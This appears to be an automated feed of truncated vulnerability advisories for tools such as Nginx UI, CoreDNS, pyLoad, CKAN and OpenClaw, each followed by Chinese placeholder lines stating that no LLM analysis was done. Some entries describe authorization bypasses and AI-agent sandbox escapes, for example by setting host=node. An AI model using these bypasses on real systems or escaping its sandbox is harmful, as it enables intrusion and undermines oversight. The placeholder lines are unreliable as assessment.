## Summary An authenticated user can call `GET /api/settings` and retrieve sensitive configuration values, including `node.secret`. The same `node.secret` is accepted by `AuthRequired()` through the `X-Node-Secret` header (or `node_secret` query parameter), causing the request to be treated as authenticated via the trusted-node path and associated with the init user. In my local reproduction on `v
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CoreDNS is a DNS server that chains plugins. In versions prior to 1.14.3, the transfer plugin can select the wrong ACL stanza when both a parent zone and a more-specific subzone are configured. The longestMatch() function in plugin/transfer/transfer.go uses a lexicographic string comparison instead of an actual longest-suffix match to select the winning zone. As a result, a permissive parent-zone
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary `ListServiceAccount` (`GET /rustfs/admin/v3/list-service-accounts?user=`) authorizes cross-user requests against `UpdateServiceAccountAdminAction` instead of `ListServiceAccountsAdminAction` at `rustfs/src/admin/handlers/service_account.rs:936`. The handler accepts the **wrong** admin action and rejects the **correct** one: - A user granted only `admin:UpdateServiceAccount` enumerates
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.2.23 before 2026.4.12 contain a weakened exec approval binding vulnerability in busybox and toybox applet execution that allows attackers to obscure which applet would actually run. Attackers can exploit opaque multi-call binaries to bypass exec approval mechanisms and weaken risk classification of unsafe applet invocations.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.4.9 before 2026.4.10 contain a sender policy bypass vulnerability in the outbound host-media attachment read helper that allows unauthorized local file disclosure. Attackers with denied read access via toolsBySender or group policy can trigger host-media attachment loading to bypass sender and group-scoped authorization boundaries and retrieve readable local files through th
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.4.5 before 2026.4.10 contain a sandbox escape vulnerability allowing sandboxed agents to override exec routing by specifying host=node. Attackers can bypass sandbox boundaries and route execution to remote nodes instead of intended sandbox paths.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary The `set_config_value()` API method (`@permission(Perms.SETTINGS)`) in `src/pyload/core/api/__init__.py` gates security-sensitive options behind a hand-maintained allowlist `ADMIN_ONLY_CORE_OPTIONS`. The allowlist contains `("proxy", "username")` and `("proxy", "password")` — which protect the proxy credentials — but it does **not** include `("proxy", "enabled")`, `("proxy", "host")`,
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary The `set_config_value()` API method (`@permission(Perms.SETTINGS)`) in `src/pyload/core/api/__init__.py` gates security-sensitive options behind a hand-maintained allowlist `ADMIN_ONLY_CORE_OPTIONS`. The option `("general", "ssl_verify")` is **not** on that allowlist. Any authenticated user with the non-admin `SETTINGS` permission can set `general.ssl_verify = off`, and every subseque
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Background On April 2nd, 2026, a Claude coding agent alerted Pelican PI Brian Bockelman to a privilege escalation vulnerability affecting Pelican's Web User Interface (WebUI) for various versions between `v7.21` and `v7.24`. Upon further investigation, the Pelican team discovered this attack allows any user authenticated to the WebUI via OAuth to gain admin privileges under certain configurati
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.8, an authenticated user can call GET /api/settings and retrieve sensitive configuration values, including node.secret. The same node.secret is accepted by AuthRequired() through the X-Node-Secret header (or node_secret query parameter), causing the request to be treated as authenticated via the trusted-node path and a
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary Tag deletion via the `DELETE /v2//manifests/` endpoint bypasses the `storage.delete.enabled: false` configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. ### Details When `storage.delete.enabled` is configured to false, digest-based manifest deletion is correctly rejected by the guard in [registry/storage/lin
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The fix for CVE-2026-31892 (commit 534f4ff) blocks `podSpecPatch` when `templateReferencing: Strict` is active, but doesn't restrict other WorkflowSpec fields that flow through the same merge path and get applied to pods. A user can set `hostNetwork: true`, override `serviceAccountName`, or change `securityContext` on their Workflow while referencing a hardened template -- these survive `JoinWorkf
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Apache Iceberg, the table's metadata files are control files: they tell readers which data files belong to the table and which table version to read. `write.metadata.path` is an optional table property that tells Polaris where to write those metadata files. For a table already registered in a Polaris-managed catalog, changing only that property through an `ALTER TABLE`-style settings change
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Buffer overflow due to incorrect authorization in PLC FW
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in Prosody before 0.12.6 and 1.0.0 through 13.0.0 before 13.0.5, when mod_proxy65 is enabled. Because mod_proxy65 mishandles access control in a paused scenario, relaying of unauthenticated traffic can occur.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in Prosody before 0.12.6 and 1.0.0 through 13.0.0 before 13.0.5, when mod_proxy65 is enabled. Because mod_proxy65 mishandles access control in a paused scenario, relaying of unauthenticated traffic can occur.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in OpenStack Keystone 13 through 29. POST /v3/credentials did not validate that the caller-supplied project_id for an EC2-type credential matched the project of the authenticating application credential. This allowed an attacker holding an unrestricted application credential for project A to create an EC2 credential targeting project B; a subsequent /v3/ec2tokens exchange w
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik is an HTTP reverse proxy and load balancer. Prior to versions 2.11.43, 3.6.14, and 3.7.0-rc.2, there is a potential vulnerability in Traefik's Kubernetes CRD provider cross-namespace isolation enforcement. When providers.kubernetesCRD.allowCrossNamespace=false, Traefik correctly rejects direct cross-namespace middleware references from IngressRoute objects, but fails to apply the same rest
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### TL;DR This vulnerability affects all Kirby sites where users of a particular role have no permission to access or list pages or files (`pages.access`, `pages.list`, `files.access` or `files.list` permission is disabled). This can be due to configuration in the user blueprint(s), via `options` in the model blueprint(s) or via a combination of both settings. **This vulnerability is of high sev
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary `has()`, `auth.protect()`, and related authorization predicates in `@clerk/shared`, `@clerk/nextjs`, `@clerk/backend`, and other framework SDKs can return true for certain combined authorization checks when the result should be false, allowing a gated action to proceed for a user who does not satisfy the full set of requested conditions. Sessions are not compromised and no existing u
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact A vulnerability in `datastore_search_sql` allowed attackers to bypass authorization in order to gain access to private resources and PostgreSQL system information ### Patches The issue has been patched in CKAN 2.10.10 and CKAN 2.11.5 ### Workarounds Disable the DataStore SQL search (`ckan.datastore.sqlsearch.enabled = false`). Note that the SQL search is disabled by default. ### Mor
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact A vulnerability in `datastore_search_sql` allowed attackers to inject SQL in order to gain access to private resources and PostgreSQL system information. ### Patches The issue has been patched in CKAN 2.10.10 and CKAN 2.11.5 ### Workarounds Disable the DataStore SQL search (`ckan.datastore.sqlsearch.enabled = false`). Note that the SQL search is disabled by default. ### More informa
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary A logic error in Admidio's two-factor authentication reset inverts the authorization check. Non-admin users cannot remove their own TOTP configuration, but they can remove other users' TOTP, including administrators. A group leader with profile edit rights on an admin account can strip that admin's 2FA. ## Details In `modules/profile/two_factor_authentication.php` at line 84, the aut
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary The `contacts_data.php` endpoint uses a weaker permission check (`isAdministratorUsers()`, requiring only `rol_edit_user=true`) than the frontend UI (`contacts.php`) which correctly requires the stronger `isAdministrator()` (requiring `rol_administrator=true`) and the `contacts_show_all` system setting. A user manager who is not a full administrator can directly request `contacts_data.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
This vulnerability impacts all versions of IdentityIQ and allows an authenticated identity that is the requestor or assignee of a work item to edit the definition of a role without having an assigned capability that would allow role editing.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.3.28 contains a privilege escalation vulnerability in chat.send that allows write-scoped gateway callers to trigger admin-only session reset operations. Attackers can rotate target sessions, archive prior transcript state, and force new session IDs without requiring admin scope by exploiting improper authorization checks in the chat.send path.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.2.14 through 2026.3.24 fail to consistently apply guild and channel policy gates to Discord button and component interactions. Attackers can trigger privileged component actions from blocked contexts by bypassing channel policy enforcement.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.3.28 contains a privilege escalation vulnerability in chat.send that allows write-scoped gateway callers to trigger admin-only session reset operations. Attackers can rotate target sessions, archive prior transcript state, and force new session IDs without requiring admin scope by exploiting improper authorization checks in the chat.send path.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.2.14 through 2026.3.24 fail to consistently apply guild and channel policy gates to Discord button and component interactions. Attackers can trigger privileged component actions from blocked contexts by bypassing channel policy enforcement.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估